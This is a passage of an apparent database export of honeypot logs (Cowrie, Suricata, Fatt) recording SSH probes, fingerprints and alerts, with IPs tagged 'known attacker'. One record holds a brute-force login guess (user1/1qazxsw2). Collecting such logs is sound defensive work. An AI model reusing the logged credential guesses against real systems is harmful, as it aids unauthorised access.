"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33812, "timestamp": "2021-09-20T12:14:28.858707", "@timestamp": "2021-09-20T12:14:28.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36408	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:14:28.858161+03	2021-09-20 15:15:04.544691+03	{"_id": "iQYhA3wBvYTbRNuEC2LV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9801509be2fb", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:28.858161Z", "@timestamp": "2021-09-20T12:14:28.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36409	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:14:28.855378+03	2021-09-20 15:15:04.546691+03	{"_id": "iAYhA3wBvYTbRNuEC2LV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:33812 (192.168.176.2:22) [session: 9801509be2fb]", "session": "9801509be2fb", "@version": "1", "protocol": "ssh", "src_port": 33812, "dest_port": 22, "timestamp": "2021-09-20T12:14:28.855378Z", "@timestamp": "2021-09-20T12:14:28.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36410	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:14:29.000827+03	2021-09-20 15:15:04.54769+03	{"_id": "jQYhA3wBvYTbRNuEDGLl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 1242362154642329, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 44014, "timestamp": "2021-09-20T12:14:29.000827Z", "@timestamp": "2021-09-20T12:14:29.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36411	176.60.208.43	109.199.241.180	Fatt	2021-09-20 15:14:01.148939+03	2021-09-20 15:15:04.54869+03	{"_id": "KgYgA3wBvYTbRNuEoGJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36262, "dest_port": 22, "timestamp": "2021-09-20T12:14:01.148939", "@timestamp": "2021-09-20T12:14:01.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BY
36413	204.79.197.222	109.199.241.180	Suricata	2021-09-20 15:14:10.682862+03	2021-09-20 15:15:04.551691+03	{"_id": "MAYgA3wBvYTbRNuEwmKo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:14:10.682862+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "204.79.197.222", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "204.79.197.222", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 569746656488302, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62581, "timestamp": "2021-09-20T12:14:10.682862Z", "@timestamp": "2021-09-20T12:14:10.682Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36414	13.107.6.254	109.199.241.180	Suricata	2021-09-20 15:14:11.35863+03	2021-09-20 15:15:04.55269+03	{"_id": "MgYgA3wBvYTbRNuExmKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:14:11.358630+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.6.254", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.6.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1489503165577446, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62578, "timestamp": "2021-09-20T12:14:11.358630Z", "@timestamp": "2021-09-20T12:14:11.358Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36415	13.107.136.254	109.199.241.180	Suricata	2021-09-20 15:14:13.054765+03	2021-09-20 15:15:04.55469+03	{"_id": "MwYgA3wBvYTbRNuEzmJh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:14:13.054765+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.136.254", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.136.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1952096913315309, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62579, "timestamp": "2021-09-20T12:14:13.054765Z", "@timestamp": "2021-09-20T12:14:13.054Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36416	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:01.101545+03	2021-09-20 15:15:04.55669+03	{"_id": "KwYgA3wBvYTbRNuEoGJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36262, "timestamp": "2021-09-20T12:14:01.101545", "@timestamp": "2021-09-20T12:14:01.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36417	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:14:22.36252+03	2021-09-20 15:15:04.55769+03	{"_id": "SAYgA3wBvYTbRNuE8GJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ba1255a9ff5f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:22.362520Z", "@timestamp": "2021-09-20T12:14:22.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36418	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:14:22.359702+03	2021-09-20 15:15:04.559689+03	{"_id": "SQYgA3wBvYTbRNuE8GJ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:32940 (192.168.176.2:22) [session: ba1255a9ff5f]", "session": "ba1255a9ff5f", "@version": "1", "protocol": "ssh", "src_port": 32940, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.359702Z", "@timestamp": "2021-09-20T12:14:22.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36419	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:14:22.32246+03	2021-09-20 15:15:04.560691+03	{"_id": "SgYgA3wBvYTbRNuE8GJ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "15b15763b459", "@version": "1", "timestamp": "2021-09-20T12:14:22.322460Z", "@timestamp": "2021-09-20T12:14:22.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36420	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:14:22.102229+03	2021-09-20 15:15:04.56169+03	{"_id": "TwYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54623, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1812, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 147768267933954, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 41583, "timestamp": "2021-09-20T12:14:22.102229Z", "@timestamp": "2021-09-20T12:14:22.102Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36421	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:14:22.639232+03	2021-09-20 15:15:04.563689+03	{"_id": "UAYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 1694637246801484, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32940, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.639232Z", "@timestamp": "2021-09-20T12:14:22.639Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36422	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:22.321635+03	2021-09-20 15:15:04.564689+03	{"_id": "WAYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 11053, "timestamp": "2021-09-20T12:14:22.321635", "@timestamp": "2021-09-20T12:14:22.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36423	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:22.675881+03	2021-09-20 15:15:04.565691+03	{"_id": "WQYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36256, "dest_port": 443, "timestamp": "2021-09-20T12:14:22.675881", "@timestamp": "2021-09-20T12:14:22.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36424	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:14:23.597559+03	2021-09-20 15:15:04.567691+03	{"_id": "YQYgA3wBvYTbRNuE9GJg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [user1/1qazxsw2] failed", "session": "15b15763b459", "@version": "1", "password": "1qazxsw2", "username": "user1", "timestamp": "2021-09-20T12:14:23.597559Z", "@timestamp": "2021-09-20T12:14:23.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36425	121.4.68.188	109.199.241.180	Fatt	2021-09-20 15:14:24.065358+03	2021-09-20 15:15:04.568691+03	{"_id": "aQYgA3wBvYTbRNuE9mK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 